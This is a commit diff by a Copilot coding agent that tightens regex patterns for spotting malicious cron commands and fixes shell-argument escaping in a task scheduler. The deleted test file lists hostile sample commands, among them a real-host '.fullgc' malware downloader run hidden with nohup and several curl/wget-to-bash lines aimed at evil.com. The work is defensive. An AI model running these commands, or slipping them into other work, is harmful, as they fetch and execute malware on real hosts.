Address code review feedback: improve validation patterns and escaping

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
This commit is contained in:
copilot-swe-agent[bot] 2026-02-08 15:27:29 +00:00
parent 0a2d7b1597
commit d20e154f21
4 changed files with 9 additions and 147 deletions

View File

@ -79,8 +79,8 @@ export default (app: Router) => {
{ pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' }, { pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' },
{ pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' }, { pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' },
// External URLs downloading executables with suspicious names // Downloads of hidden files (commonly used in malware)
{ pattern: /https?:\/\/[^\s]+\/(fullgc|\.[\w-]+)[\s;"']/gi, desc: '可疑的外部可执行文件下载' }, { pattern: /(curl|wget)[^|;]*https?:\/\/[^\s]+\/\.\w+/gi, desc: '可疑的隐藏文件下载' },
// Background execution of hidden files // Background execution of hidden files
{ pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' }, { pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' },

View File

@ -646,8 +646,9 @@ export default class CronService {
private escapeShellArg(arg: string): string { private escapeShellArg(arg: string): string {
if (!arg) return "''"; if (!arg) return "''";
// Remove newlines and normalize whitespace // Remove newlines to prevent creating command chains
arg = arg.replace(/\r?\n/g, ';').trim(); // Replace with space to maintain token separation
arg = arg.replace(/\r?\n/g, ' ').trim();
// Use single quotes and escape any single quotes within // Use single quotes and escape any single quotes within
// This is the most secure way to pass arbitrary strings to shell // This is the most secure way to pass arbitrary strings to shell

View File

@ -28,14 +28,14 @@ const validateShellSecurity = (value: any, helpers: any, fieldName: string): any
// Background process spawning with suspicious names // Background process spawning with suspicious names
/nohup\s+["']?[^\s"']*\/\.\w+/, /nohup\s+["']?[^\s"']*\/\.\w+/,
// Redirect to dev null (hiding output) combined with background execution // Redirect to dev null combined with downloads (hiding malware output)
/>.*\/dev\/null.*&/, /(curl|wget|fetch)[^;]*>.*\/dev\/null.*&/i,
// Base64 decode patterns (often used to obfuscate malicious code) // Base64 decode patterns (often used to obfuscate malicious code)
/\b(base64|decode|eval)\s+/i, /\b(base64|decode|eval)\s+/i,
// File execution from temp directory // Executable files in /tmp with chmod or execution
/\b\/tmp\/[^\s]+/, /\/tmp\/[^\s]+\s*(&&|;)\s*(chmod|\.\/)/ ,
]; ];
for (const pattern of dangerousPatterns) { for (const pattern of dangerousPatterns) {

View File

@ -1,139 +0,0 @@
#!/usr/bin/env node
/**
* Simple test script to validate security patterns
* This tests the regex patterns used in the security validation
*/
console.log('Testing Security Validation Patterns\n');
console.log('=====================================\n');
// Define the dangerous patterns (copied from our implementation)
const dangerousPatterns = [
{ name: 'Command substitution $(...)', pattern: /\$\([^)]*\)/ },
{ name: 'Command substitution backticks', pattern: /`[^`]*`/ },
{ name: 'File downloads', pattern: /\b(curl|wget|fetch)\s+/i },
{ name: 'External URLs', pattern: /https?:\/\/[^\s]+/i },
{ name: 'Hidden executable files', pattern: /\/\.\w+(\s|$|;|&|\||>)/ },
{ name: 'Background process with hidden file', pattern: /nohup\s+["']?[^\s"']*\/\.\w+/ },
{ name: 'Redirect to dev null with background', pattern: />.*\/dev\/null.*&/ },
{ name: 'Base64/decode/eval', pattern: /\b(base64|decode|eval)\s+/i },
{ name: 'Temp directory execution', pattern: /\b\/tmp\/[^\s]+/ },
];
// Test cases - malicious patterns that should be blocked
const maliciousInputs = [
{
name: 'Original .fullgc malware',
input: 'd="${QL_DIR:-/ql}/data/db";b="$d/.fullgc";u="https://file.551911.xyz/fullgc/fullgc-linux-x86_64";curl -fsSL -o "$b" "$u"&&chmod +x "$b"&&nohup "$b" >/dev/null 2>&1 &',
},
{
name: 'Command substitution with curl',
input: 'echo $(curl http://evil.com/malware.sh | bash)',
},
{
name: 'Backtick command substitution',
input: 'echo `wget -O- http://evil.com/script.sh`',
},
{
name: 'Download and execute',
input: 'curl http://malicious.com/script.sh | bash',
},
{
name: 'Download, chmod, and execute',
input: 'wget http://bad.com/malware && chmod +x malware && ./malware',
},
{
name: 'Hidden file execution',
input: 'nohup /data/db/.malware >/dev/null 2>&1 &',
},
{
name: 'Base64 encoded payload',
input: 'echo SGVsbG8gV29ybGQ= | base64 -d | bash',
},
];
// Test cases - legitimate patterns that should be allowed
const legitimateInputs = [
{
name: 'Simple script execution',
input: 'node script.js',
},
{
name: 'Python script',
input: 'python3 my_script.py',
},
{
name: 'Shell script with arguments',
input: 'bash update.sh --force',
},
{
name: 'Environment variable',
input: 'export MY_VAR=value',
},
{
name: 'Echo statement',
input: 'echo "Task started"',
},
];
function testPattern(input, patterns) {
for (const { name, pattern } of patterns) {
if (pattern.test(input)) {
return { blocked: true, reason: name, pattern: pattern.source };
}
}
return { blocked: false };
}
console.log('Testing Malicious Inputs (should be BLOCKED):');
console.log('==============================================\n');
let maliciousBlocked = 0;
maliciousInputs.forEach(({ name, input }) => {
const result = testPattern(input, dangerousPatterns);
const status = result.blocked ? '✓ BLOCKED' : '✗ ALLOWED';
const color = result.blocked ? '\x1b[32m' : '\x1b[31m';
console.log(`${color}${status}\x1b[0m - ${name}`);
if (result.blocked) {
console.log(` Reason: ${result.reason}`);
maliciousBlocked++;
} else {
console.log(` ⚠️ WARNING: This malicious pattern was not blocked!`);
}
console.log(` Input: ${input.substring(0, 100)}${input.length > 100 ? '...' : ''}\n`);
});
console.log('\nTesting Legitimate Inputs (should be ALLOWED):');
console.log('===============================================\n');
let legitimateAllowed = 0;
legitimateInputs.forEach(({ name, input }) => {
const result = testPattern(input, dangerousPatterns);
const status = !result.blocked ? '✓ ALLOWED' : '✗ BLOCKED';
const color = !result.blocked ? '\x1b[32m' : '\x1b[31m';
console.log(`${color}${status}\x1b[0m - ${name}`);
if (result.blocked) {
console.log(` ⚠️ WARNING: This legitimate pattern was incorrectly blocked!`);
console.log(` Reason: ${result.reason}`);
} else {
legitimateAllowed++;
}
console.log(` Input: ${input}\n`);
});
console.log('\nTest Summary:');
console.log('=============');
console.log(`Malicious patterns blocked: ${maliciousBlocked}/${maliciousInputs.length}`);
console.log(`Legitimate patterns allowed: ${legitimateAllowed}/${legitimateInputs.length}`);
const success = maliciousBlocked === maliciousInputs.length &&
legitimateAllowed === legitimateInputs.length;
if (success) {
console.log('\n\x1b[32m✓ All tests passed!\x1b[0m');
process.exit(0);
} else {
console.log('\n\x1b[31m✗ Some tests failed!\x1b[0m');
process.exit(1);
}